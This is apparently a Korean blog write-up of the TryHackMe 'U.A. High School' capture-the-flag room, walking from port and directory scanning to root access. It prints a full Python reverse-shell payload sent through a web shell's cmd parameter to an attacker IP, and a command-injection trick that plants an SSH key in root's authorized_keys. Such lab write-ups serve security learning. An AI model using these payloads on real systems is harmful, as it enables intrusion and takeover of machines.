*https://tryhackme.com/r/room/yueiua
U.A. High School
Welcome to the web application of U.A., the Superhero Academy.
tryhackme.com
[1]Reconnaissance
Port Scan Enumeration
$ sudo rustscan -r 1-65535 -a uahigh.thm -- -sV -O
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
..
Open 10.10.xx.xx:22
Open 10.10.xx.xx:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94SVN ( https://nmap.org )
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan
Completed Ping Scan 0.30s elapsed (1 total hosts)
Initiating SYN Stealth Scan
Scanning uahigh.thm [2 ports]
Discovered open port 80/tcp
Discovered open port 22/tcp
..
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.41 ((Ubuntu))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 3.1 - 3.2 (93%), Linux 3.11 (93%), Linux 3.2 - 4.9 (93%), Linux 3.5 (93%)
-22(ssh), 80(http)번이 열려있습니다.
→22번: OpenSSH 8.2p1 Ubuntu
→80번: Apache httpd 2.4.41(Ubuntu)
Directory Enumeration
$ gobuster dir -u http://uahigh.thm -w /usr/share/wordlists/dirb/common.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://uahigh.thm
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/assets (Status: 301) [Size: 309] [--> http://uahigh.thm/assets/]
/index.html (Status: 200) [Size: 1988]
/server-status (Status: 403) [Size: 275]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
-assets 디렉터리가 존재합니다.
$ gobuster dir -u http://uahigh.thm/assets -w /usr/share/wordlists/dirb/common.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://uahigh.thm/assets
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/images (Status: 301) [Size: 316] [--> http://uahigh.thm/assets/images/]
/index.php (Status: 200) [Size: 0]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
-assets 디렉터리 아래에는 index.php와 images 디렉터리가 존재합니다.
Endpoint Analysis
-uahigh.thm에 접근하면 위와 같은 페이지가 나타납니다.
-이동되는 경로들은 전부 '#'으로 되어 있습니다. 이는 Fragment로 이를 이용하는 건 아닌 것 같습니다.
-assets/index.php 모습입니다. 아무것도 나타나지 않습니다.
-images 디렉터리는 Forbidden 에러가 발생하는 것을 알 수 있습니다.
Fuzzing
$ wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/big.txt --ss "[a-zA-Z]" -u "http://uahigh.thm/assets/index.php?FUZZ=whoami"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://uahigh.thm/assets/index.php?FUZZ=whoami
Total requests: 3024
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000640: 200 0 L 1 W 12 Ch "cmd"
Total time: 89.36643
Processed Requests: 3024
Filtered Requests: 3023
Requests/sec.: 33.83820
-ss 옵션은 특정 문자열을 기준으로 결과를 필터링할 수 있으며, 정규표현식을 사용할 수 있는 옵션입니다.
-index.php는 일단 접속이 되므로 파라미터에 어떤 것을 삽입해도 응답은 200으로 돌아와서 기준을 a-zA-Z 어떤 문자라도 나온다면 통과식으로 작성했습니다.
-여러번의 Fuzzing이 있었는데, web shell이라고 가정하고 whoami를 파라미터 값으로 두어 Fuzzing을 했을 때, cmd라는 파라미터가 존재한다는 것을 알 수 있었습니다.
-문제 통틀어서 이 부분이 제일 오래 걸렸습니다.
-base64 Encoding web shell이네요.
[2]Vulnerability&Exploit
RCE(Remote Command Execution
http://uahigh.thm/assets/index.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22{your_ip}%22,4466));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
-assets/index.php가 cmd 파라미터로 값을 전송하는 web shell인 것을 알고 있으므로 python reverse shell 코드를 삽입하여 nc를 통해 연결합니다.
www-data@myheroacademia:/var/www/html/assets$ ls
images index.php styles.css
www-data@myheroacademia:/var/www/html/assets$ cd images
www-data@myheroacademia:/var/www/html/assets/images$ ls
oneforall.jpg yuei.jpg
www-data@myheroacademia:/var/www/html/assets/images$ python3 -m http.server
-접근이 불가했던 images 디렉터리 아래에는 oneforall.jpg와 yuei.jpg가 존재하였습니다.
-python3로 http.server를 열고, 공격자의 shell에서 curl을 통해 가져옵니다.
$ curl "http://uahigh.thm:7777/oneforall.jpg" -o oneforall.jpg
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 98264 100 98264 0 0 69022 0 0:00:01 0:00:01 --:--:-- 69054
Steganography
$ steghide extract -sf oneforall.jpg
Enter passphrase:
-steghide를 통해 정보를 추출하려고 했으나 passphrase가 필요합니다.
www-data@myheroacademia:/var/www/html$ cd ../
www-data@myheroacademia:/var/www$ ls
Hidden_Content html
www-data@myheroacademia:/var/www$ cd Hidden_Content/
www-data@myheroacademia:/var/www/Hidden_Content$ ls
passphrase.txt
www-data@myheroacademia:/var/www/Hidden_Content$ cat passphrase.txt
QWx---------------SEhCg==
#base64 decoding
A------------!!!
-Hideen_Contents 디레터리 아래에 있는 passphrase.txt를 통해서 base64 인코딩된 passphrase를 얻을 수 있습니다.
$ steghide extract -sf yuei.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
$ steghide extract -sf oneforall.jpg
Enter passphrase:
steghide: the file format of the file "oneforall.jpg" is not supported.
-yuei.jpg는 해당 passphrase로 추출할 데이터가 없고, oneforall.jpg는 파일 포멧을 지원하지 않는다고 합니다.
-yuei.jpg도 jpg인데, 지원이 안된다는 것은 조금 이상한 것 같습니다.
-hexeditor를 통해 oneforall.jpg의 파일 시그니처를 살펴보면 PNG로 설정되어 있는 것을 볼 수 있습니다.
-이를 JPG 파일 시그니처로 변경해줍니다.
$ steghide extract -sf oneforall.jpg
Enter passphrase:
wrote extracted data to "creds.txt".
$ cat creds.txt
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:
deku:On-------------/A
-다시 steghide를 통해 정보를 추출하면 creds.txt 파일을 얻을 수 있고, 안에는 deku라는 SSH 계정 정보가 존재하였습니다.
Privilege Escalation - root
deku@myheroacademia:~$ ls
user.txt
deku@myheroacademia:~$ whoami
deku
deku@myheroacademia:~$ id
uid=1000(deku) gid=1000(deku) groups=1000(deku)
deku@myheroacademia:/opt/NewComponent$ sudo -l
[sudo] password for deku:
Matching Defaults entries for deku on myheroacademia:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User deku may run the following commands on myheroacademia:
(ALL) /opt/NewComponent/feedback.sh
-deku 계정으로 로그인하고, 정보들을 확인해보면 /opt/NewComponent/feedback.sh을 sudo로 실행할 수 있음을 알 수 있습니다.
deku@myheroacademia:/opt/NewComponent$ cat feedback.sh
#!/bin/bash
echo "Hello, Welcome to the Report Form "
echo "This is a way to report various problems"
echo " Developed by "
echo " The Technical Department of U.A."
echo "Enter your feedback:"
read feedback
if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
echo "It is This:"
eval "echo $feedback"
echo "$feedback" >> /var/log/feedback.txt
echo "Feedback successfully saved."
else
echo "Invalid input. Please provide a valid input."
fi
-feedback.sh은 메타문자를 필터링하고 있으며, eval을 통해 명령어 실행이 가능한 구간이 있음을 알 수 있습니다.
-메타문자를 필터링하고 있으므로 타 명령어 사용은 조금 힘들지만, sudo를 통해 명령어 실행을 할 수 있으므로 root 관련 파일에 접근할 수 있습니다.
[Attacker shell]
$ ssh-keygen
Generating public/private rsa key pair.
$ cat ~/.ssh/id_rsa.pub
ssh-rsa
AAAAB3Nza.... #copy this
-공격자측에서 ssh-keygen으로 ssh 키를 생성한 후 공개키 파일 내용을 복사합니다.
[deku shell]
deku@myheroacademia:/opt/NewComponent$ sudo ./feedback.sh
Hello, Welcome to the Report Form
This is a way to report various problems
Developed by
The Technical Department of U.A.
Enter your feedback:
ssh-rsa AAAAB3Nza..... > /root/.ssh/authorized_keys
It is This:
Feedback successfully saved.
-sudo로 feeback.sh을 실행한 후 공개키 내용 > /root/.ssh/authorized_keys 를 삽입하여, 인증된 SSH 키 파일에 해당 공개키를 추가합니다.
[Attacker shell]
$ ssh -i ~/.ssh/id_rsa root@uahigh.thm
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-153-generic x86_64)
...
root@myheroacademia:~# id
uid=0(root) gid=0(root) groups=0(root)
root@myheroacademia:~# whoami
root
-공격자 측에서 생성한 비밀키를 통해 SSH의 root 계정으로 접근하면 로그인이 가능하게 됩니다.
-따라서 root 권한을 획득하였습니다.
[3]Flag
user.txt
deku@myheroacademia:~$ cat user.txt
THM{W-----------_--_---------??}
root.txt
root@myheroacademia:~# cat /root/root.txt
root@myheroacademia:/opt/NewComponent# cat /root/root.txt
__ __ _ _ _ _____ _
\ \ / /__ _ _ / \ _ __ ___ | \ | | _____ __ |_ _| |__ ___
\ V / _ \| | | | / _ \ | '__/ _ \ | \| |/ _ \ \ /\ / / | | | '_ \ / _ \
| | (_) | |_| | / ___ \| | | __/ | |\ | (_) \ V V / | | | | | | __/
|_|\___/ \__,_| /_/ \_\_| \___| |_| \_|\___/ \_/\_/ |_| |_| |_|\___|
_ _
_ _ ___ | | | |
| \ | | ___ / | | |__| | ___ _ __ ___
| \| |/ _ \/_/| | | __ |/ _ \ '__|/ _ \
| |\ | (_) __| |_ | | | | __/ | | (_) |
|_| \_|\___/|______| |_| |_|\___|_| \___/
THM{Y-----------------------0}
root@myheroacademia:~#
'write-up > penetration test' 카테고리의 다른 글
[wargame - pen]HA Joker CTF (1) | 2024.12.13 |
---|---|
[wargame - pen]Cheese CTF (0) | 2024.10.29 |
[wargame - pen]Pyrat (0) | 2024.10.18 |
[pen]Wekor (4) | 2024.10.05 |
Tokyo Ghoul (0) | 2024.06.29 |